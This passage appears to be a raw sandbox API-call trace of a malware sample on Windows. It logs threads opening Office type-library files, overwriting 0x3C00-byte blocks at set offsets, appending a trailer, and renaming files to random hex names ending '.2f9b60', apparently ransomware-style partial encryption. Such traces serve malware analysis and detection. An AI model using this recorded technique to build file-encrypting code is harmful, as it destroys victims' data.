SourceString="4f26dd44eae0ac99da8c7e1810d3496db334271a", AllocateDestinationString=1 | out: DestinationString="4f26dd44eae0ac99da8c7e1810d3496db334271a") returned 0x0 [0202.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9ceb0 [0202.992] wcscat (in: _Dest=0x431a4100, _Source="4f26dd44ea" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea") returned="C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea" [0202.992] wcscat (in: _Dest=0x431a4100, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea.2f9b60" [0202.992] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea.2f9b60", NtPathName=0x28adfb30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\4f26dd44ea.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431c47c0 Thread: id = 1789 os_tid = 0xcc4 [0132.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb")) returned 0x20 [0132.994] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB", dwFileAttributes=0x20) returned 1 [0133.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPPT.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msppt.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c44 [0134.704] GetFileSizeEx (in: hFile=0x1c44, lpFileSize=0x26abfaa0 | out: lpFileSize=0x26abfaa0*=402824) returned 1 [0134.704] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x62584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.704] ReadFile (in: hFile=0x1c44, lpBuffer=0x26abfa20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26abfa68, lpOverlapped=0x0 | out: lpBuffer=0x26abfa20*, lpNumberOfBytesRead=0x26abfa68*=0x4, lpOverlapped=0x0) returned 1 [0134.732] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267e90 [0134.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ec0 [0134.732] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ef0 [0134.733] NtQuerySystemTime (in: CurrentTime=0x26abf960 | out: CurrentTime=0x26abf960*=132462177399706000) returned 0x0 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x518a0bd6 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x16f02209 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x214238b5 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x5099babd [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x395ad0af [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x127bc3a3 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x205bd10b [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x858ab9b [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x7a084043 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x311a76aa [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x6fdad44b [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x32116f22 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x560934b4 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x2ab942eb [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x7476678c [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x5077f305 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x2f9b8d84 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x210a2327 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x7407abfb [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x416efcc9 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x2d498701 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x6f926aeb [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x735a4b0f [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x6b7abae6 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x3e2a1a7a [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x7eb179a [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x4dc22f57 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x6f220658 [0134.733] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x5cf79c5f [0134.734] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x2e5b2ad1 [0134.734] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x2905bfc [0134.734] RtlRandomEx (in: Seed=0x26abf950 | out: Seed=0x26abf950) returned 0x1b626490 [0134.743] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.743] ReadFile (in: hFile=0x1c44, lpBuffer=0x41d04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41d04990*, lpNumberOfBytesRead=0x26abf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0134.767] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0134.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0134.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ef0 [0134.768] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267ef0) returned 1 [0134.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2030dcc0 [0134.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267ef0 [0134.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fb0) returned 1 [0134.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0134.769] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0134.769] WriteFile (hFile=0x1c44, lpBuffer=0x2030dcc0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26abf9c0, lpOverlapped=0x0) [0179.927] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2030dcc0) returned 1 [0179.928] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.928] ReadFile (in: hFile=0x1c44, lpBuffer=0x41d04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41d04990*, lpNumberOfBytesRead=0x26abf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.038] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x34800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eeb0 [0182.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eeb0) returned 1 [0182.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43028970 [0182.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eeb0 [0182.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2eee0 [0182.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2eee0) returned 1 [0182.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.041] WriteFile (in: hFile=0x1c44, lpBuffer=0x43028970*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x43028970*, lpNumberOfBytesWritten=0x26abf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43028970) returned 1 [0198.800] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x5e988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.800] ReadFile (in: hFile=0x1c44, lpBuffer=0x41d04990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41d04990*, lpNumberOfBytesRead=0x26abf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0199.158] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x5e988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0199.159] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266f90) returned 1 [0199.159] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e6a520 [0199.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266f90 [0199.160] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a60 [0199.160] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265a60) returned 1 [0199.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.161] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.161] WriteFile (in: hFile=0x1c44, lpBuffer=0x41e6a520*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26abf9c0, lpOverlapped=0x0 | out: lpBuffer=0x41e6a520*, lpNumberOfBytesWritten=0x26abf9c0*=0x3c00, lpOverlapped=0x0) returned 1 [0214.785] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e6a520) returned 1 [0214.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x43104950 [0214.785] SetFilePointerEx (in: hFile=0x1c44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0214.785] WriteFile (in: hFile=0x1c44, lpBuffer=0x1cebcc10*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x26abfa70, lpOverlapped=0x0 | out: lpBuffer=0x1cebcc10*, lpNumberOfBytesWritten=0x26abfa70*=0x144, lpOverlapped=0x0) returned 1 [0218.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0218.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e0f0 [0218.789] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0218.789] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b60) returned 1 [0218.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0218.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b60 [0218.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a73a0 [0218.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a73a0) returned 1 [0218.791] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e0f0) returned 1 [0218.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0218.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202a73a0 [0218.792] sprintf (in: _Dest=0x202a73a0, _Format="%c%c" | out: _Dest="ab") returned 2 [0218.792] sprintf (in: _Dest=0x202a73a2, _Format="%c%c" | out: _Dest="cd") returned 2 [0218.792] sprintf (in: _Dest=0x202a73a4, _Format="%c%c" | out: _Dest="91") returned 2 [0218.792] sprintf (in: _Dest=0x202a73a6, _Format="%c%c" | out: _Dest="53") returned 2 [0218.792] sprintf (in: _Dest=0x202a73a8, _Format="%c%c" | out: _Dest="0b") returned 2 [0218.793] sprintf (in: _Dest=0x202a73aa, _Format="%c%c" | out: _Dest="4b") returned 2 [0218.793] sprintf (in: _Dest=0x202a73ac, _Format="%c%c" | out: _Dest="b2") returned 2 [0218.793] sprintf (in: _Dest=0x202a73ae, _Format="%c%c" | out: _Dest="2c") returned 2 [0218.793] sprintf (in: _Dest=0x202a73b0, _Format="%c%c" | out: _Dest="aa") returned 2 [0218.793] sprintf (in: _Dest=0x202a73b2, _Format="%c%c" | out: _Dest="7a") returned 2 [0218.793] sprintf (in: _Dest=0x202a73b4, _Format="%c%c" | out: _Dest="ee") returned 2 [0218.793] sprintf (in: _Dest=0x202a73b6, _Format="%c%c" | out: _Dest="0c") returned 2 [0218.793] sprintf (in: _Dest=0x202a73b8, _Format="%c%c" | out: _Dest="9a") returned 2 [0218.793] sprintf (in: _Dest=0x202a73ba, _Format="%c%c" | out: _Dest="50") returned 2 [0218.793] sprintf (in: _Dest=0x202a73bc, _Format="%c%c" | out: _Dest="10") returned 2 [0218.793] sprintf (in: _Dest=0x202a73be, _Format="%c%c" | out: _Dest="93") returned 2 [0218.793] sprintf (in: _Dest=0x202a73c0, _Format="%c%c" | out: _Dest="2b") returned 2 [0218.793] sprintf (in: _Dest=0x202a73c2, _Format="%c%c" | out: _Dest="81") returned 2 [0218.793] RtlInitAnsiString (in: DestinationString=0x26abfae8, SourceString="abcd91530b4bb22caa7aee0c9a5010932b81" | out: DestinationString="abcd91530b4bb22caa7aee0c9a5010932b81") [0218.793] RtlAnsiStringToUnicodeString (in: DestinationString=0x26abfab8, SourceString="abcd91530b4bb22caa7aee0c9a5010932b81", AllocateDestinationString=1 | out: DestinationString="abcd91530b4bb22caa7aee0c9a5010932b81") returned 0x0 [0218.793] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b8587f0 [0218.794] wcscat (in: _Dest=0x1b79e0f0, _Source="abcd91530" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\abcd91530") returned="C:\\Program Files\\Microsoft Office\\Office14\\abcd91530" [0218.794] wcscat (in: _Dest=0x1b79e0f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\abcd91530.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\abcd91530.2f9b60" [0218.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\abcd91530.2f9b60", NtPathName=0x26abfa90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\abcd91530.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0218.794] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4318bb20 Thread: id = 1790 os_tid = 0xd14 [0132.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb")) returned 0x20 [0133.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB", dwFileAttributes=0x20) returned 1 [0133.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSPRJ.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msprj.olb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1c50 [0134.765] GetFileSizeEx (in: hFile=0x1c50, lpFileSize=0x28bcf6e0 | out: lpFileSize=0x28bcf6e0*=877984) returned 1 [0134.765] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0xd659c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.765] ReadFile (in: hFile=0x1c50, lpBuffer=0x28bcf660, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28bcf6a8, lpOverlapped=0x0 | out: lpBuffer=0x28bcf660*, lpNumberOfBytesRead=0x28bcf6a8*=0x4, lpOverlapped=0x0) returned 1 [0134.775] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20268040 [0134.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc10 [0134.776] NtQuerySystemTime (in: CurrentTime=0x28bcf5a0 | out: CurrentTime=0x28bcf5a0*=132462177400174000) returned 0x0 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x5ef6ab2f [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x5530de6e [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x3afb50f7 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x13a7b0e3 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x364f7bcb [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x4487b7ee [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x66323998 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x45f0d12d [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x74172f70 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x354f5682 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x1250eae3 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x3030ac68 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x76a30625 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x70919a16 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x9f14053 [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x6470ebaf [0134.776] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x29580305 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x91ee14b [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x304900cb [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x56788c50 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x32c00175 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x67448b0d [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x338336d9 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x6658c477 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x4ecb578b [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x656412eb [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x55131e7f [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x12fc4de3 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x69c3eedc [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x5109f604 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x28899119 [0134.777] RtlRandomEx (in: Seed=0x28bcf590 | out: Seed=0x28bcf590) returned 0x55bfe21c [0134.789] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.790] ReadFile (in: hFile=0x1c50, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0134.805] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0134.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0134.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0134.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.806] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267fb0) returned 1 [0134.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0134.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267fb0 [0134.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0134.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c00) returned 1 [0134.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dbf0) returned 1 [0134.807] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0134.807] WriteFile (in: hFile=0x1c50, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0135.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0135.286] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.286] ReadFile (in: hFile=0x1c50, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0135.290] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0x6cc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97cb0 [0135.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0135.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.291] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261910) returned 1 [0135.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0135.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261910 [0135.292] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261820 [0135.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261820) returned 1 [0135.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0135.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97cb0) returned 1 [0135.292] WriteFile (in: hFile=0x1c50, lpBuffer=0x203190f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesWritten=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0135.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0135.301] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0xd29a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.301] ReadFile (in: hFile=0x1c50, lpBuffer=0x203118d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28bcf600, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesRead=0x28bcf600*=0x3c00, lpOverlapped=0x0) returned 1 [0135.304] SetFilePointerEx (in: hFile=0x1c50, liDistanceToMove=0xd29a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0135.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dbf0 [0135.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0135.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261b80) returned 1 [0135.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0135.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b80 [0135.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0135.305] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 